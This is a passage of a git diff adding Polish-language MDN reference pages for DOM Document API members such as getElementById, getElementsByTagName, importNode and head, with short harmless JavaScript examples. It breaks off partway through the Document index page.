DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/forms +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>forms</b> zwraca listę elementów FORM z bieżącego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>listaWęzłów</i> = document.forms +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> + +<head> +<title> document.forms example</title> +</head> + +<body> +<form id="robby"> + <input type="button" onclick="alert(document.forms[0].id);" + value="robby's form" /> +</form> + +<form id="dave"> + <input type="button" onclick="alert(document.forms[1].id);" + value="dave's form" /> +</form> + +<form id="paul"> + <input type="button" onclick="alert(document.forms[2].id);" + value="paul's form" /> +</form> + +</body> +</html> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-1689064">forms </a></p> +<p>{{ languages( { "en": "en/DOM/document.forms", "ja": "ja/DOM/document.forms" } ) }}</p> diff --git a/files/pl/web/api/document/getelementbyid/index.html b/files/pl/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..51e1bd68c0 --- /dev/null +++ b/files/pl/web/api/document/getelementbyid/index.html @@ -0,0 +1,67 @@ +--- +title: document.getElementById +slug: Web/API/Document/getElementById +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/getElementById +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca element o określonym ID.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>var element</em> = document.getElementById(<em>id</em>); +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>element</code> jest obiektem <a href="pl/DOM/element">element</a></li> + <li><code>id</code> jest ciągiem zawierającym unikalny ID szukanego elementu</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre><html> +<head> +<title>Przykład getElementById</title> + +<script type="text/javascript"> + +function changeColor(newColor) +{ + var elem = document.getElementById("para1"); + elem.style.color = newColor; +} +</script> +</head> + +<body> +<p id="para1">Jakiś tekst</p> +<button onclick="changeColor('blue');">niebieski</button> +<button onclick="changeColor('red');">czerwony</button> +</body> +</html> +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p><strong>getElementById</strong> jest absolutną podstawą DOM. Jedną z najważniejszych zasad w programowaniu DOM jest unikalne identyfikowanie elementów, dzięki czemu można je przechwycić i manipulować nimi.</p> + +<p>Jeżeli nie ma elementu o podanym ID, funkcja zwraca NULL. Zauważ też, że implementacja DOM musi wiedzieć, które atrybuty mają typ ID. Atrybuty o nazwie "ID" nie mają typu ID, o ile nie zostanie to tak zdefiniowane. Implementacje, które nie wiedzą, czy atrybuty mają typ ID czy nie, powinny zwracać NULL.</p> + +<p><strong>getElementById</strong> wprowadzono w DOM Level 2.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<ul> + <li>DOM Level 2 Core Specification: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBId">getElementById </a></li> +</ul> + +<p>{{ languages( { "en": "en/DOM/document.getElementById", "fr": "fr/DOM/document.getElementById", "ja": "ja/DOM/document.getElementById" } ) }}</p> diff --git a/files/pl/web/api/document/getelementsbyclassname/index.html b/files/pl/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..a9e2037ac3 --- /dev/null +++ b/files/pl/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,82 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +tags: + - API + - DOM + - HTML5 + - Klasy +translation_of: Web/API/Document/getElementsByClassName +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<p>Zwraca obiekt podobny do tablicy, zawierający wszystkie elementy, które mają przypisaną daną klasę. Kiedy użyjemy tej funkcji w odniesieniu do elementu document, cały dokument jest przeszukiwany - na wszystkich poziomach.</p> + +<p>Możesz również użyć funkcji {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} na dowolnym elemencie; wtedy zwróci jedynie elementy zawierające daną klasę, które zawierają się w obrębie elementu wskazanego przez nas.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // or: +<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre> + +<ul> + <li><var>elements</var> jest bieżącym zbiorem znalezionych elementów.</li> + <li><var>names</var> jest łańcuchem reprezentującym listę szukanych przez nas nazw klas (nazwy klas są oddzielone od siebie spacjami)</li> + <li>getElementsByClassName może być użyta na dowolnym elemencie - nie tylko w całym dokumencie.</li> +</ul> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<p>Szukamy wszystkich elementów posiadających klasę 'test':</p> + +<pre class="brush: js">document.getElementsByClassName('test');</pre> + +<p>Szukamy elementów, które posiadają jednocześnie klasę 'red' oraz 'test':</p> + +<pre class="brush: js">document.getElementsByClassName('red test');</pre> + +<p>Szukamy elementów posiadających klasę 'test', w obrębie elementu o ID 'main':</p> + +<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> + +<p>Możemy też użyć metody Array.prototype. W ten sposób znajdziemy wszystkie elementy div posiadające klasę 'test':</p> + +<pre class="brush: js">var testElements = document.getElementsByClassName('test'); +var testDivs = Array.prototype.filter.call(testElements, function(testElement){ + return testElement.nodeName === 'DIV'; +});</pre> + +<h2 id="Uwagi">Uwagi</h2> + +<p>Należy zwrócić uwagę na różnice w zwracanej wartości w zależności od składni (aby została zwrócona konkretna wartość należy posłużyć się indeksem):</p> + +<pre><!doctype html> +<html> +<head> + <meta charset="UTF-8"> + <title>Document</title> +</head> +<body> + <div id="parent-id"> + <p>hello word1</p> + <p class="test">hello word2</p> + <p >hello word3</p> + <p>hello word4</p> + </div> + <script> + var parentDOM = document.getElementById("parent-id"); + + var test=parentDOM.getElementsByClassName("test");//test is not target element + console.log(test);//HTMLCollection[1] + + var testTarget=parentDOM.getElementsByClassName("test")[0];//here , this element is target + console.log(testTarget);//<p class="test">hello word2</p> + </script> +</body> +</html></pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<ul> + <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li> +</ul> diff --git a/files/pl/web/api/document/getelementsbyname/index.html b/files/pl/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..1cadc785de --- /dev/null +++ b/files/pl/web/api/document/getelementsbyname/index.html @@ -0,0 +1,35 @@ +--- +title: document.getElementsByName +slug: Web/API/Document/getElementsByName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/getElementsByName +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca listę elementów w dokumencie o żądanym atrybucie <code>name</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">elementy = document.getElementsByName(<i>nazwa</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>elementy</code> to lista elementów typu <code>nodeList</code></li> + <li><code>nazwa</code> to ciąg znaków reprezentujący wartość atrybutu <code>name</code> elementu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// zwraca niektóre z DIV-ów +<div name="up">200</div> +<div name="up">145</div> +<div name="down">146</div> +<div name="other">178</div> +up_divs = document.getElementsByName("up"); +dump(up_divs.item(0).tagName); // zwraca "div" +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><b>document.getElementsByName</b> zwraca listę węzłów wszystkich elementów o zadanej wartości atrybutu <code>name</code>. W przeciwieństwie do <a href="pl/DOM/element.getElementsByTagName">getElementsByTagName</a>, który analizuje samą nazwę elementu, ta metoda pracuje tylko na elementach, których atrybut <code>name</code> został wyraźnie podany.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-71555259">getElementsByName</a></p> +<p>{{ languages( { "en": "en/DOM/document.getElementsByName", "fr": "fr/DOM/document.getElementsByName", "ja": "ja/DOM/document.getElementsByName" } ) }}</p> diff --git a/files/pl/web/api/document/getelementsbytagname/index.html b/files/pl/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..b4db8f428d --- /dev/null +++ b/files/pl/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,108 @@ +--- +title: document.getElementsByTagName +slug: Web/API/Document/getElementsByTagName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Document/getElementsByTagName +--- +<p>{{ ApiRef("DOM") }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca listę elementów o podanej nazwie znacznika. Przeszukiwany jest cały dokument, łącznie z głównym węzłem.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><em>elements</em> = document.getElementsByTagName(<em>name</em>) +</pre> + +<ul> + <li><code>elements</code> is a live <code>NodeList</code> of found elements in the order they appear in the tree.</li> + <li><code>name</code> jest łańcuchem znaków reprezentującym nazwę elementów. Łańcuch znaków "*" reprezentuje wszystkie elementy.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>W poniższym przykładzie <code>getElementsByTagName</code> starts from a particular parent element, and searches topdown recursively through the DOM from that parent element, looking for child elements matching the tag <code>name</code> parameter.</p> + +<p>Zauważ, że gdy węzeł, w którym przywołano <code>getElementsByTagName</code>, nie jest węzłem <code>document</code>, to w rzeczywistości użyta jest metoda <a href="pl/DOM/element.getElementsByTagName">element.getElementsByTagName</a>.</p> + +<pre><html> + +<head> +<title>Przykład getElementsByTagName</title> + +<script type="text/javascript"> + +function getAllParaElems() +{ + var allParas = document.getElementsByTagName("p"); + + var num = allParas.length; + + alert("W tym dokumencie jest " + num + " elementów <p>"); +} + + +function div1ParaElems() +{ + var div1 = document.getElementById("div1") + var div1Paras = div1.getElementsByTagName("p"); + + var num = div1Paras.length; + + alert("W elemencie div1 znajduje się " + num + " elementów <p>"); +} + + +function div2ParaElems() +{ + var div2 = document.getElementById("div2") + var div2Paras = div2.getElementsByTagName("p"); + + var num = div2Paras.length; + + alert("W elemencie div2 znajduje się " + num + " elementów <p>"); +} + +</script> +</head> + +<body style="border: solid green 3px"> +<p>Trochę zewnętrznego tekstu</p> +<p>Trochę zewnętrznego tekstu</p> + + <div id="div1" style="border: solid blue 3px"> + <p>Trochę tekstu w div1</p> + <p>Trochę tekstu w div1</p> + <p>Trochę tekstu w div1</p> + + <div id="div2" style="border: solid red 3px"> + <p>Trochę tekstu w div2</p> + <p>Trochę tekstu w div2</p> + </div> + </div> + +<p>Trochę zewnętrznego tekstu</p> +<p>Trochę zewnętrznego tekstu</p> + +<button onclick="getAllParaElems();"> + pokaż wszystkie elementy p w dokumencie</button><br /> + +<button onclick="div1ParaElems();"> + pokaż wszystkie elementy p w elemencie div1</button><br /> + +<button onclick="div2ParaElems();"> + pokaż wszystkie elementy p w elemencie div2</button> + +</body> +</html> +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></p> diff --git a/files/pl/web/api/document/hasfocus/index.html b/files/pl/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..afaa6079af --- /dev/null +++ b/files/pl/web/api/document/hasfocus/index.html @@ -0,0 +1,25 @@ +--- +title: document.hasFocus +slug: Web/API/Document/hasFocus +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/hasFocus +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Własność <code>hasFocus</code> zwraca wartość <code>true</code>, jeżeli fokus jest zlokalizowany w dowolnym miejscu danego dokumentu. {{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">focused = document.hasFocus(); +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Zarządzanie fokusem </a></p> +<p> </p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.hasFocus", "es": "es/DOM/element.hasFocus", "fr": "fr/DOM/document.hasFocus", "ja": "ja/DOM/document.hasFocus" } ) }}</p> diff --git a/files/pl/web/api/document/head/index.html b/files/pl/web/api/document/head/index.html new file mode 100644 index 0000000000..d5436385fa --- /dev/null +++ b/files/pl/web/api/document/head/index.html @@ -0,0 +1,110 @@ +--- +title: Document.head +slug: Web/API/Document/head +translation_of: Web/API/Document/head +--- +<p>{{APIRef("DOM")}}</p> + +<p>Zwraca element {{HTMLElement("head")}} aktualnego dokumentu. Jeżeli występuje więcej niż jeden element <code><head></code>, zwrócony zostanie tylko pierwszy.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>var objRef</em> = document.head; +</pre> + +<h2 id="Example" name="Example">Przykład</h2> + +<pre class="brush: js">// in HTML: <head id="my-document-head"> +var aHead = document.head; + +alert(aHead.id); // "my-document-head"; + +alert( document.head === document.querySelector("head") ); // true +</pre> + +<h2 id="Example" name="Example">Uwagi</h2> + +<p><code>document.head</code> jest atrybutem tylko do odczytu. Próby przypisania mu wartości nie spowodują żadnego efektu czy skutku ubocznego (przejdą 'po cichu') lub, jeżeli pracujemy w <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">ECMAScript Strict Mode</a> w przeglądarce Gecko, zostanie rzucony <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError"><code>TypeError</code></a>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.0</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>9.0</td> + <td>11.0</td> + <td>5.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>9.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{domxref("document.body")}}</li> +</ul> diff --git a/files/pl/web/api/document/height/index.html b/files/pl/web/api/document/height/index.html new file mode 100644 index 0000000000..1f777a7eb5 --- /dev/null +++ b/files/pl/web/api/document/height/index.html @@ -0,0 +1,34 @@ +--- +title: document.height +slug: Web/API/Document/height +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/height +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>height</b> pobiera/ustawia wysokość dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>wysokość</i> = document.height +document.height =<i>wysokość</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>wysokość</code> jest ciągiem reprezentującym wysokość dokumentu w pikselach, calach bądź poprzez <code>em</code>. Jesli nie zostanie określona jednostka (jak np. "px" w "200px"), domyślnie przyjmowane są piksele.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// zmniejsz okno po załadowaniu +function onLoad() { + document.height = "200"; + document.width = "200"; +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz także <a href="pl/DOM/document.width">DOM:document.width</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p>{{ languages( { "en": "en/DOM/document.height" } ) }}</p> diff --git a/files/pl/web/api/document/images/index.html b/files/pl/web/api/document/images/index.html new file mode 100644 index 0000000000..e7d21794da --- /dev/null +++ b/files/pl/web/api/document/images/index.html @@ -0,0 +1,31 @@ +--- +title: document.images +slug: Web/API/Document/images +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/images +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>document.images</code> zwraca listę obrazków w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><em>listaWęzłów</em> = document.images +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var ilist = document.images; +for(var i = 0; i < ilist.length; i++) { + if(ilist[i] == "banner.gif") { + // found the banner + } +} +</pre> +<p> </p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>document.images.length</code> – własność, zwraca liczbę obrazków na stronie.</p> +<p><code>document.images</code> jest częścią DOM HTML i działa tylko dla dokumentów HTML.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117">DOM Level 2 HTML: HTMLDocument.images</a></p> +<p>{{ languages( { "ru": "ru/DOM/document.images", "en": "en/DOM/document.images", "fr": "fr/DOM/document.images" } ) }}</p> diff --git a/files/pl/web/api/document/implementation/index.html b/files/pl/web/api/document/implementation/index.html new file mode 100644 index 0000000000..3fe4d51af0 --- /dev/null +++ b/files/pl/web/api/document/implementation/index.html @@ -0,0 +1,21 @@ +--- +title: document.implementation +slug: Web/API/Document/implementation +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/implementation +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt implementacji DOM powiązanej z bieżącym dokumentem.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>obiektDOMImplementation</i> = document.DOMImplentation +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Obiekt DOMImplementaion, jeżeli jest dostępny, stanowi specjalny obiekt zapewniający możliwość kontrolowania spraw poza pojedynczym dokumentem. Na przykład interfejs <code>DOMImplementation</code> zawiera metodę <code>createDocumentType</code> pozwalającą na tworzenie DTD dla jednego lub więcej dokumentów zarządzanych przez implementację.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-90379117">implementation</a> (?)</p> +<p>{{ languages( { "en": "en/DOM/document.implementation" } ) }}</p> diff --git a/files/pl/web/api/document/importnode/index.html b/files/pl/web/api/document/importnode/index.html new file mode 100644 index 0000000000..be2cdf6367 --- /dev/null +++ b/files/pl/web/api/document/importnode/index.html @@ -0,0 +1,57 @@ +--- +title: document.importNode +slug: Web/API/Document/importNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Document/importNode +--- +<p>{{ ApiRef("DOM") }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>,<em>deep</em>); +</pre> + +<dl> + <dt><code>node</code></dt> + <dd>Zaimportowany węzeł<br> + Własność <code><a href="/pl/docs/Web/API/Element/parentNode">parentNode</a></code> jest ustawiona na null, ponieważ nie został jeszcze wstawiony do drzewa dokumentu</dd> + <dt><code>externalNode</code></dt> + <dd>Węzeł, bądź <code>DocumentFragment</code> przeznaczony do zaimportowania do bieżącego dokumentu.</dd> + <dt><code>deep</code></dt> + <dd>Boolean mówiący, czy importować potomki <code>externalNode</code></dd> +</dl> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">var iframe = document.getElementsByTagName("iframe")[0]; +var oldNode = iframe.contentDocument.getElementById("myNode"); +var newNode = document.importNode(oldNode,true); +document.getElementById("container").appendChild(newNode); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Pierwotny węzeł nie jest usunięty z oryginalnego dokumentu. Importowany węzeł jest klonem oryginału .</p> + + +<p></p><p>Przed włączeniem węzłów pochodzących z zewnętrznych dokumentów do bieżącego dokumentu konieczne jest ich sklonowanie za + pomocą metody <a href="/pl/docs/Web/API/Document/importNode" title="Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu."><code>document.importNode()</code></a> (lub zaadaptowanie przy użyciu metody <a class="new" href="/pl/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>). Więcej informacji na temat własności + <a class="new" href="/pl/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> znajduje się na liście najczęściej zadawanych pytań na <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">temat + DOM w witrynie W3C</a>.</p> + + <p>Aktualnie Firefox nie wymusza tej reguły (robił to przez pewien czas podczas cykli rozwojowych Firefoksa 3, ale zbyt + dużo stron przestawało działać po wymuszeniu tej reguły). Zachęcamy autorów stron do poprawienia ich kodu dla lepszej + kompatybilności w przyszłości.</p><p></p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></p> diff --git a/files/pl/web/api/document/index.html b/files/pl/web/api/document/index.html new file mode 100644 index 0000000000..a5aa06d6dd --- /dev/null +++ b/files/pl/web/api/document/index.html @@ -0,0 +1,332 @@ +--- +title: document +slug: Web/API/Document +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3> + +<p>Obiekt <code>document</code> stanowi w <a href="pl/DOM">DOM</a> ogólny sposób reprezentowania dokumentów <a href="pl/HTML">HTML</a>, <a href="pl/XHTML">XHTML</a> i <a href="pl/XML">XML</a>. Poza ogólnym interfejsem dokumentu, w ponizszej liscie uwzgledniono takze <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM HTMLDocument</a>, bedacy bardziej wyspecjalizowanym interfejsem, przeznaczonym do pracy z dokumentami HTML (np. wlasnosci takie jak <a href="pl/DOM/document.cookie">document.cookie</a>, <a href="pl/DOM/document.alinkColor">document.alinkColor</a>). Czesci tego bardziej wyspecjalizowanego interfejsu zostaly oznaczone gwiazdka (*).</p> + +<p><code>document</code> zawarty jest w obiekcie <a href="pl/DOM/window">window</a> i moze zawierac dowolna liczbe <a href="pl/DOM/element">elementów</a>.</p> + +<p>Tak jak widac na ponizszej liscie, interfejsy <code>document</code> odpowiadaja za rzeczy takie jak typ dokumentu, jego cechy, jak kolory czy formatowanie, wtyczki i aplety przedstawiane uzytkownikowi, ale sa tu tez metody do tworzenia węzłów potomnych dokumentu, a takze elementy znajdujace sie zwykle w reprezentacji dokumentu, jak <BODY>.</p> + +<h3 id="Wlasnosci" name="Wlasnosci">Wlasnosci</h3> + +<dl> + <dt><a href="pl/DOM/document.alinkColor">document.alinkColor</a>* {{ Deprecated_inline() }}</dt> + <dd>Zwraca lub ustawia kolor aktywnych odnośników w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.anchors">document.anchors</a>*</dt> + <dd>Zwraca listę wszystkich kotwic w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.applets">document.applets</a>*</dt> + <dd>Zwraca uporządkowaną listę apletów w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.bgColor">document.bgColor</a>* {{ Deprecated_inline() }}</dt> + <dd>Pobiera/ustawia kolor tła dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.body">document.body</a>*</dt> + <dd>Zwraca węzeł elementu BODY w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.characterSet">document.characterSet</a></dt> + <dd>Zwraca nazwę zestawu znaków uzytego w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.compatMode">document.compatMode</a>*</dt> + <dd>Wskazuje, czy dokument jest renderowany w trybie zgodności wstecznej czy w trybie standardów.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.contentType">document.contentType</a></dt> + <dd>Zwraca Content-Type z nagłówka MIME bieżącego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.cookie">document.cookie</a>*</dt> + <dd>Zwraca rozdzielona średnikami listę ciasteczek dokumentu bądź zapisuje pojedyncze ciasteczko.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.defaultView">document.defaultView</a></dt> + <dd>Zwraca referencje do obiektu <code>window</code>.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.designMode">document.designMode</a>*</dt> + <dd>Pobiera/ustawia możliwość edytowania w trybie WYSIWYG za pomocą edytora <a href="pl/Midas">Midas</a>. Może zostać użyty wyłącznie w dokumentach HTML.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.doctype">document.doctype</a></dt> + <dd>Zwraca definicje typu dokumentu (DTD).</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.documentElement">document.documentElement</a></dt> + <dd>Zwraca element będący bezpośrednim dzieckiem dokumentu.W dokumentach <HTML> jest to zazwyczaj element.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.documentURIObject">document.documentURIObject</a> {{ Fx_minversion_inline(3) }}</dt> + <dd>Zwraca obiekt nsIURI reprezentujący URI dokumentu. Własność ta jest wspomagana wyłącznie z kodu JavaScriptu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.domain">document.domain</a>*</dt> + <dd>Zwraca domenę bieżącego dokumentu.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.embeds">document.embeds</a>*</dt> + <dd>Zwraca listę obiektów (OBJECT) zagnieżdżonych w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.fgColor">document.fgColor</a>* {{ Deprecated_inline() }}</dt> + <dd>Pobiera/ustawia kolor pierwszoplanowy (kolor tekstu) w dokumencie.</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.firstChild">document.firstChild</a></dt> + <dd>Zwraca pierwszy węzeł spośród bezpośrednich dzieci dokumentu (zob. własność elementów <a href="pl/DOM/element.firstChild">firstChild</a>).</dd> +</dl> + +<dl> + <dt><a href="pl/DOM/document.forms">document.forms</a>*</dt> + <dd>Zwraca listę elementów FORM w dokumencie.</dd> +</dl> + +<dl> + <dt><a 